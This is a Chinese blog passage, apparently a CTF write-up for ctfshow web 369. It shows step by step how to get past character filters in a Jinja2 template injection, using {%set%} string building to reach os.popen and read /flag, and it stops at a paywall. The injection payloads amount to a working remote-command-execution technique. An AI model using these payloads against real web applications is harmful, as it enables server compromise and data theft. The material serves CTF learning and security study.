SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)
写在前面
由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。
实例引入
本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解绕过的原理。
判断是否存在SSTI模板注入漏洞
由于双花括号被过滤,我们只能使用{%%}来判断,我们传入参数?name={%print 123%},来观察页面是否回显123,如果回显123即存在SSTI模板注入漏洞。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%print 123%}

页面回显123,存在SSTI模板注入漏洞。
拼接payload
我们先确定我们使用哪一个payload去打它,我们就以:
{
%print ((lipsum)|attr("__globals__")).get("os").popen("cat /flag").read()%}
我们分析一下:
引号、下划线被过滤,我们不能直接使用" attr(“__globals__”) ",并且request被过滤,不能通过传参,我们就只能通过拼接字符串的方式获取,并且后面的get方法、popen方法、os模块、shell命令都要采取拼接完成。
获取__globals__
获取globals字符串
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%set globals=dict(globals=a)|join%}
{
%print globals%}

获取下划线
我们获得了globals字符串,还需要下划线来拼接,那么下划线如何获取呢?
我们就通过lipsum|string|list中获取。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%print lipsum|string|list%}

获取pop方法
我们知道从哪里获取下划线之后,但是要考虑如何使用索引值来获取,这时我们就想到了pop()方法。pop()方法可以通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%set pop=dict(po=a,p=b)|join%}
{
%print pop%}

这样的话我们就可以获取到下划线了。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%set pop=dict(po=a,p=b)|join%}
{
%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{
%print xiahuaxian%}

获取下划线之后也就自然能获得__globals__。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%set pop=dict(po=a,p=b)|join%}
{
%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{
%set globals=dict(globals=a)|join%}
{
%print (xiahuaxian,xiahuaxian,globals,xiahuaxian,xiahuaxian)|join%}

获取os模块
获取os字符串
先获取到os字符。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%set shell=dict(o=a,s=b)|join%}
{
%print shell%}

获取get()方法
获取get,以便我们使用get()获取到os模块。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
%set get=dict(get=a)|join%}
{
%print get%}

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={
<

本文详细介绍了如何在SSTI漏洞中,通过一系列的字符串拼接和方法调用来绕过过滤限制,包括获取__globals__、os模块、popen方法,以及执行shell命令读取flag的过程。
最低0.47元/天 解锁文章
1209

被折叠的 条评论
为什么被折叠?



